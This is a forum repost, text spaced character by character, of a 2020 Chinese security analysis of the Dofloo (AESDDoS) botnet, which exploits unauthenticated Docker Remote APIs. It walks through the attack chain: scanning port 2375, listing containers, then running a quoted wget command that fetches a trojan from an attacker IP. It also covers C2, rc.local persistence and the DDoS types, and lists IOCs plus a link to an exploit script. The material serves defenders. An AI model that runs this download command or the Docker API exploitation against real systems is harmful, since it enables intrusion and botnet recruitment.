搜索

[15928] 2020-10-05_Dofloo（AESDDoS）僵尸网络正批量扫描、攻击Docker容器

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-10-05_Dofloo（AESDDoS）僵尸网络正批量扫描、攻击Docker容器 D o f l o o （ A E S D D o S ） 僵 尸 网 络 正 批 量 扫 描 、 攻 击 D o c k e r 容 器 腾 讯 电 脑 管 家   F r e e B u f   2 0 2 0 - 1 0 - 0 5 一 、 背 景 一 、 背 景 D o f l o o （ A E S D D o S ） 僵 尸 网 络 正 批 量 扫 描 和 攻 击 D o c k e r 容 器 。 部 分 云 主 机 上 部 署 的 D o c k e r 容 器 没 有 针 对 远 程 访 问 做 安 全 认 证 ， 存 在 R e m o t e   A P I 允 许 未 授 权 使 用 漏 洞 且 暴 露 在 公 网 ， 导 致 黑 客 通 过 漏 洞 入 侵 并 植 入 D o f l o o 僵 尸 网 络 木 马 。 云 计 算 兴 起 后 ， 服 务 器 硬 件 扩 展 非 常 便 利 ， 软 件 服 务 部 署 成 为 了 瓶 颈 ， D o c k e r 作 为 开 源 的 引 擎 可 以 轻 松 地 为 任 何 应 用 创 建 一 个 轻 量 级 的 、 可 移 植 的 、 自 给 自 足 的 容 器 ， 因 而 逐 渐 得 到 广 泛 应 用 。 而 开 发 者 在 部 署 D o c k e r 时 未 对 相 关 服 务 进 行 正 确 合 理 的 配 置 导 致 其 容 易 成 为 黑 客 入 侵 的 路 径 之 一 ， 之 前 已 有 H 2 M i n e r 利 用 D o c k e r 漏 洞 进 行 入 侵 挖 矿 的 案 例 被 披 露 （ h t t p s : / / m p . w e i x i n . q q . c o m / s / i N q 8 S d T Z 9 I r t t A o Q Y L J w 5 A ） 。 此 次 D o f l o o 僵 尸 网 络 入 侵 系 统 后 ， 会 搜 集 系 统 敏 感 信 息 并 加 密 上 传 ， 接 收 C & C 服 务 器 指 令 ， 执 行 各 类 D D o S 攻 击 。 二 、 详 细 分 析 二 、 详 细 分 析 在 此 次 攻 击 中 ， 攻 击 者 首 先 通 过 向 端 口 2 3 7 5 ( 与 D o c k e r 守 护 进 程 通 信 的 默 认 端 口 ) 发 送 T C P   S Y N 数 据 包 对 给 定 的 I P 范 围 进 行 批 量 扫 描 。 确 定 开 放 端 口 的 目 标 I P 后 ， 发 送 请 求 调 用 / c o n t a i n e r s / j s o n 接 口 获 取 正 在 运 行 中 的 容 器 列 表 ， 之 后 使 用 D o c k e r   E X E C 命 令 执 行 以 下 s h e l l 访 问 公 开 主 机 中 所 有 正 在 运 行 的 容 器 并 下 载 木 马 L i n u x 2 . 7 。 获 取 容 器 列 表 ： 针 对 运 行 状 态 的 容 器 利 用 D o c k e r   E X E C 执 行 木 马 下 载 命 令 ： w g e t   - P   / t m p /   h t t p [ : ] / / 4 9 . 2 3 5 . 2 3 8 . 1 1 1 : 8 8 / L i n u x 2 . 7
被 下 载 的 D o f l o o 僵 尸 网 络 木 马 L i n u x 2 . 7 会 连 接 到 4 9 . 2 3 5 . 2 3 8 . 1 1 1 : 4 8 0 8 0 来 发 送 和 接 收 来 自 攻 击 者 的 远 程 s h e l l 命 令 。 D o f l o o 僵 尸 网 络 还 会 在 从 被 感 染 系 统 窃 取 信 息 ， 包 括 操 作 系 统 版 本 ， C P U 型 号 、 速 度 和 类 型 。 通 过 将 自 身 路 径 写 入 / e t c / r c . l o c a l 、 / e t c / r c . d / r c . l o c a l 、 / e t c / i n i t . d / b o o t . l o c a l 文 件 中 以 添 加 为 自 启 动 项 。
使 用 A E S 算 法 对 窃 取 的 系 统 信 息 和 命 令 和 控 制 （ C ＆ C ） 数 据 进 行 加 密 。 此 D o f l o o 变 种 能 够 发 起 各 种 类 型 的 D D o S 攻 击 ， 包 括 D N S 、 S Y N ， L S Y N ， U D P ， U D P S ， T C P 和 C C   F l o o d 。 I O C s C 2 4 9 . 2 3 5 . 2 3 8 . 1 1 1 : 4 8 0 8 0 1 7 5 . 2 4 . 1 2 3 . 2 0 5 :   4 8 0 8 0 I P 4 9 . 2 3 5 . 2 3 8 . 1 1 1 8 9 . 4 0 . 7 3 . 1 2 6 1 7 5 . 2 4 . 1 2 3 . 2 0 5 U R L h t t p [ : ] / / 4 9 . 2 3 5 . 2 3 8 . 1 1 1 [ : ] 8 8 / L i n u x 2 . 7 h t t p [ : ] / / 4 9 . 2 3 5 . 2 3 8 . 1 1 1 / L o v . s h
h t t p [ : ] / / 4 9 . 2 3 5 . 2 3 8 . 1 1 1 / l i x h t t p [ : ] / / 4 9 . 2 3 5 . 2 3 8 . 1 1 1 / V e r t o h t t p [ : ] / / 4 9 . 2 3 5 . 2 3 8 . 1 1 1 [ : ] 8 8 / N g Y x h t t p [ : ] / / 4 9 . 2 3 5 . 2 3 8 . 1 1 1 / l i n u x - a r m h t t p [ : ] / / 4 9 . 2 3 5 . 2 3 8 . 1 1 1 / s h r e . s h h t t p [ : ] / / 8 9 . 4 0 . 7 3 . 1 2 6 [ : ] 8 0 8 0 / L i n u x 2 . 7 h t t p [ : ] / / 8 9 . 4 0 . 7 3 . 1 2 6 / l i n u x 2 . 6 h t t p [ : ] / / 8 9 . 4 0 . 7 3 . 1 2 6 [ : ] 8 0 8 0 / l i n u x - a r m h t t p [ : ] / / 8 9 . 4 0 . 7 3 . 1 2 6 [ : ] 8 0 8 0 / L i n u x 2 . 6 h t t p [ : ] / / 8 9 . 4 0 . 7 3 . 1 2 6 [ : ] 8 0 8 0 / Y m Y h t t p [ : ] / / 8 9 . 4 0 . 7 3 . 1 2 6 [ : ] 8 0 8 0 / L T F h t t p [ : ] / / 8 9 . 4 0 . 7 3 . 1 2 6 [ : ] 8 0 8 0 / N g Y x h t t p [ : ] / / 8 9 . 4 0 . 7 3 . 1 2 6 [ : ] 8 0 8 0 / M a r h t t p [ : ] / / 8 9 . 4 0 . 7 3 . 1 2 6 [ : ] 8 0 8 0 / l i n u x 2 . 6 h t t p [ : ] / / 8 9 . 4 0 . 7 3 . 1 2 6 [ : ] 8 0 8 0 / F l o o d h t t p [ : ] / / 1 7 5 . 2 4 . 1 2 3 . 2 0 5 : 8 8 / F c k M D 5 F l o o d 0 5 7 9 a 0 2 2 8 0 2 7 5 9 f 9 8 b f d f 0 8 e 7 d d 1 6 7 6 8 l i x 9 5 3 0 e 4 6 c a a b 8 3 4 e 1 e 6 6 a 1 0 8 e 1 5 e a 9 7 c a l i n u x - a r m c a 1 f 3 4 7 4 4 7 d d f 7 9 9 0 c c d 0 d 6 7 4 4 f 3 5 4 5 d L i n u x 0 5 f 2 8 7 8 4 a 0 d a 0 c 1 e 4 0 6 d 9 8 c 0 2 d c 7 d 5 6 0 R z e . s h 4 8 c 9 1 0 c d 9 a 0 7 4 0 4 f b f b 8 b f 5 2 8 4 7 e 7 2 c 3 S H r e . s h b b 7 c d f 5 7 0 7 a 8 5 7 0 3 6 c d 4 1 a f 4 b a f a e d 3 1 参 考 链 接 ： 参 考 链 接 ： h t t p s : / / w w w . t r e n d m i c r o . c o m / e n _ u s / r e s e a r c h / 1 9 / f / a e s d d o s - b o t n e t - m a l w a r e - i n f i l t r a t e s - c o n t a i n e r s - v i a - e x p o s e d - d o c k e r - a p i s . h t m l h t t p s : / / g i t h u b . c o m / S P u e r B R e a d / D o c k e r - R e m o t e - A P I - E x p l o i t / b l o b / m a s t e r / d o c k e r A P I _ E x p l o i t . p y 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理